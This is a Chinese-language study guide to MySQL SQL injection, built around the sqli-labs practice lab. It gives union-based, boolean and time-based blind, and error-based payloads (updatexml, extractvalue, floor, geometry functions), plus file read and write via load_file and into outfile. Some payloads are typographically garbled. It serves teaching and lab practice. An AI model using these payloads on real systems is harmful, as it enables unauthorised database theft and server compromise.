前言
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库

SQL注入产生的原理
- 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入
- 使用了字符串拼接的方式构造SQL语句
SQL注入的分类
- 从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
- 从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
- 从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)
SQL注入的危害
分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)
- 数据库信息泄露
- 网页篡改:登陆后台后发布恶意内容
- 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
- 私自添加系统账号
- 读写文件获取webshell
SQL注入
系统函数
information_schema.schemata 记录所有数据库名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
schema_name 数据库名
table_name:表名
column_name:列名
table_schema:数据库名
system_user() 查看当前Mysqlsql登录用户名,同下
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
@@version_compile_os 查看操作系统
@@HOSTNAME 主机名称
@@datadir 数据库路径
常用函数
- floor() 向下取整
- rand() 返回一个大于0小于1的浮点数
- length(str) 返回字符串长度
- ascii(str) 返回字符串str的最左面字符的ASCII代码值,如果str是空字符串,返回0;如果str是NULL,返回NULL
- load_file() 读取本地文件 用法:select load_file(‘C:\phpstudy\www\sqli\Less-7\text.txt’);Mysql注入load_file常用路径
- into outfile 写文件 用法:select ‘mysql is good’ into outfile ‘test.txt’;
- if(condition,A,B)如果条件condition为true,则执行A,否则执行B
- chr(数字),ord(‘字母’) python中将字符或布尔类型转成ascii码
字符串拼接函数
- concat(str1,str2..)函数 没有分隔符串联多列结果
- concat_ws(separator,str1,str2,…) 含有分隔符串联多列结果
- group_concat(str1,str2,str3…) 用逗号,串联多行结果为一行
- order by关键字(select * from table_name order by 3)表示按第三列排序
- left(str,len) 对指定字符串从左边截取指定长度,正确返回1,错误返回0
- right(str,len)对指定字符串从右边截取指定长度
- substr(str,start,length)对于给定字符串,从start为开始截取length长度,如substr(“chinese”,3,2)=”in”.类似的还有substring()、mid()用法功能一致
- regexp函数 匹配正则
判断注入点
数字型
通过2-1与1的回显结果判断是否为数字型注入。有可能被()或者(())括起来
字符型
用单引号和双引号进行闭合。也有可能被(),(())包裹

显错注入
Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
基本流程
- 判断字段数目order by 4…
- 判断显示位 union select 1,2,3,4…
- 查看当前数据库union select 1,2,database()
- 查表名union select 1,2,table_name from information_schema.tables where table_schema=database()
- 查列名union select 1,2,column_name from information_schema.columns where table_name=’表名’ and table_schema=database()
- 查询字段值union select 1,字段名,字段名 from 表名
盲注
基于布尔的盲注
这里主要使用mid(),substr(),left()这几个函数来截取字符串慢慢尝试
- 猜解当前数据库名称长度 and (length(database()))>1
- 通过http://127.0.0.1/sqli/Less-5/?id=1‘ and left((select database()),1)=’s’—+ 判断第一位是否是s,然后可以用bp逐步进行爆破处理
- 或者使用if来判断测试http://127.0.0.1/sqli/Less-5/?id=1‘ and ascii(substr((select database()),1,1))>156—+来通过二分法逐步判断
- 之后就是正常的注入流程,不断的猜表名、猜字段名和猜内容
基于时间的SQL盲注
一般来说,在页面没有任何回显和错误信息提示的时候,我们就会测试时间盲注的方法
主要通过if(length(database())=8,1,sleep())这样来判断语句是否注入成功
之后就是类似于布尔盲注的形式进行判定注入
例:/?id = 1’ and if((substr((select schema_name from information_schema.schmata limit 4,1),1,8)=’security’),1,sleep(5))—+
报错注入
floor()报错
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
通过ExtractValue报错
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
通过UpdateXml报错
and updatexml(1,concat(0x5c,(select user()),0x5c),1)
其中concat函数是将其连接成一个字符串,因此不会符合XPath_string的格式,从而出现格式错误,爆出ERROR 1105 (HY000): XPATH syntax error: root@localhost
updatexml()函数
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
第三参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
通过NAME_CONST报错注入
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
通过join报错注入
select from (select from mysql.user a join mysql.user b)c;
通过exp报错注入
and exp(~(select * from (select user()) a) );
通过GeometryCollection()报错注入
and GeometryCollection(()select *from(select user() )a)b;
通过ploygon()报错注入
and polygon (()select * from(select user())a)b;
通过multipoint()报错注入
and multipoint (()select * from(select user() )a)b;
通过multingestring()报错注入
and multlinestring (()select * from(select user() )a)b;
通过multpolygon()报错注入
and multpolygon (()select * from(select user() )a)b;
通过linestring()报错注入
and linestring (()select * from(select user() )a)b;
POST注入
头部POST注入
常用的请求头
HostHost
Host请求报头域主要用于指定被请求资源的Internet主机和端口号。
如:Host: localhost:8088User-Agent
User-Agent请求报头域允许客户端将它的操作系统、浏览器和其他属性告诉服务器。登录一些网站时,很多时候都可以见到显示我们的浏览器、系统信息,这些都是此头的作用。
如:User-Agent: Mozilla/5.0Referer
Referer包含一个URL,代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面。
如:Referer: http://192.168.33.1/sqli/Less-18/Cookie
Cookie是非常重要的请求头,它是一段文本,常用来表示请求者身份等。
如:Cookie: username=admin; password=adminRange
Range可以请求实体的部分内容,多线程下载一定会用到此请求头。
如:表示头500字节:Range: bytes=0~499
表示第二个500字节:Range: bytes=500~999
表示最后500字节:Range: bytes=-500
表示500字节以后的范围:Range: bytes=500-X-Forwarded-For
X-Forwarded-For即XXF头,它代表请求端的IP,可以有多个,中间以逗号隔开。
如:X-Forwarded-For: 8.8.8.8Accept
Accept请求报头域用于指定客户端接收哪些MIME类型的信息。
如:Accept: text/htmlAccept-Charset
Accept-Charset请求报头域用于指定客户端接收的字符集。如果在请求消息中没有设置这个域,默认是任何字符集都可以接收。
如: Accept-Charset: gb2312
二次注入
宽字节注入
DNS注入
通过sqli-labs进行学习
学习参考视频:https://www.bilibili.com/video/BV1e441127Rd